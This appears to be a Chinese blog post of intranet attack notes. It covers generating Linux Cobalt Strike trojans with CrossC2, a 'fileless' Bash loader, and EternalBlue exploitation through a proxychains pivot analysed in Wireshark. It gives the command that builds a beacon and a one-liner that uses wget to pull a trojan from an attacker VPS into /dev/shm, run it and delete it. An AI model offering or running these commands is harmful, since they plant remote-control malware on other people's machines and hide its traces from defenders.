我知道我最近托更托了很久了，其实也不是小编懒啊
这小编也是一直在写，但是遇到的问题比较多（我太菜了），所以一直拖着。
但是总不能不更吧 
那就讲一下进来的一些内网攻防的思考吧
1.CrossC2上线Linux到CS(成功)
我么众所周知，CS是不能生成以及上线Linux的（再不配置插件的情况下），那么我们今天就带大家来配一下这个上线cs的插件
我就去kali上演示啦（你们在VPS上也是一样的，不过我VPS上已经配置好了，就不麻烦再配一次了）
我们先去github上下载这两个文件
GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload
然后我们先去解压缩那个ZIP
然后我们去CS加载这两个文件
这样，我们的CS就配置好了，然后我们去生成Linux的木马，找到另外的那个gen...linux的
先改权限，然后生成
./genCrossC2.Linux 你的VPS的ip VPS监听器的端口 null null Linux x64 木马名字所以我就这么写咯
./genCrossC2.Linux 192.168.246.170 9191 null null Linux x64 muma这里可以看见它的支持版本是4.9-4.1 ，要注意版本噢
然后我们去配置CS的监听器（只支持https 和tcp）
这个生成木马我应该就不用教了吧，不过记得要和木马对应IP和端口噢
然后就是去目标Linux上运行木马了！！！
但是呢，就真无语了
cs非常的安静
就连本地自己启动都上线不了。。。。。。。
我真无语了，那就用VPS上线一下吧！！！
还是先创建监听器，然后生成🐎
丢到目标服务器上去运行
可以看见两台机器都能上线，看来以后还是用VPS吧！！！
2.Bash无文件落地？？
我们众所周知，Windos最出名的无文件落地，一定是powershell无文件落地（当然还有别的）
但是Linux呢？？？ 那肯定得有对应的无文件落地的啦！！！ 下面这个连接讲的很详细
blogs/持久控制/Linux/Linux下的无文件攻击.md at master · aplyc1a/blogs · GitHub
这些方法好是好，但是对于脚本小子不友好！！！ 假如我现在有一个Linux的马，然后又是脚本小子呢？？
：：： 我也想无文件啊！！！
那么就有接下来的命令
wget -U O -O - http://公网VPS/木马 > /dev/shm/木马 && chmod +x /dev/shm/木马 && /dev/shm/木马 && rm -f /dev/shm/木马
- 使用
wget命令从公网VPS的地址下载文件。 >符号将下载的文件内容输出到/dev/shm/木马文件中。&&符号表示如果前一个命令执行成功，则继续执行下一个命令。- 使用
chmod命令添加/dev/shm/木马文件的执行权限。 - 使用
/dev/shm/木马命令执行该文件，这个文件可能是一个 shell 脚本或可执行文件。 - 最后，使用
rm -f命令删除/dev/shm/木马文件。
这个命令下载的文件被保存在
/dev/shm目录下，该目录是一个临时文件系统，通常被用作内存文件系统，因此文件实际上是保存在内存中的。因此，即使在磁盘上删除了文件，内存中仍然存在这个文件的拷贝，因此删除磁盘上的文件不会影响正在内存中执行的程序。
所以你觉得这个算是无文件吗？？？？
：：感觉似乎不算，毕竟还有有文件落地得(只不过达到了一种类似无文件得效果)
那么下面就来演示一下，现在VPS上面开一个http得服务
然后直接一句话bash无文件落地
wget -U O -O - http://VPS:6888/shell > /dev/shm/shell && chmod +x /dev/shm/shell && /dev/shm/shell && rm -f /dev/shm/shell
直接上线
然后我们去看一下是否真的无文件（看一下目录下有没有）
但是在内存中还是能看见得
3.永恒之蓝shell进去会建立一个session？
以前我不是做过这样的一个实验吗？？ 挂着跳板机去打内网的机器，很多时候本地不成功！！
那么我们今天Wireshark的角度上去分析一下！！！！！
首先是一台Win7(存在永恒之蓝)
然后就是一台Server（也存在永恒之蓝）
首先我的Kali是192.168.246.170，先把他放在同一网段来打一下先
然后我们再去打一下Win7
好，两台都是能打到的，那么，我们把Win7放在内网，winserver放在公网
然后win7就变成内网52这个网段
然后winserver是双网卡，同时通两个网
然后我们去Winserver上开一个socks5的隧道！！！
然后我用kali的proxychains去连接
然后我们用proxychains去启动msf
果然打不成功，这个可能是因为虚拟机网络摇曳的原因，然而，今天我想讲的是另外一个东西
还是拿回我们原来的那个攻击成功的机器，我们众所周知，永恒之蓝是通过别人开放的445端口进行攻击的，那么他是通过445进行连接的吗？？？？
我们在进攻成功之后，就可以有一个meterpreter的界面，然后我们去看一下连接
我们不难发现，我们并不是通过445端口进行连接的，而是通过重新找了一个端口来连接我们的kali 那么另外又一个问题来了，我们shell的时候，会建立一个新的连接吗？？（PORT）
于是我shell了进去，并且抓了一下数据包，我们不难发现，我们kali都是通过用的4444端口进行对win7的通信，并不存在说新建立了一个端口来通信！！！ 那执行命令呢？？？？
可以看到它的整个tcp流，也是没有建立新的端口
所以我们就可以得到一个结论，只要我们能通过proxychains打到内网，那么就不用担心会新建端口导致的流量不通！！！
所以以上失败的原因就是虚拟机摇曳！！！！！！
以上，就是一些暂时的想法了，写完这篇，小编又要投身到另一篇csdn上了！！！！
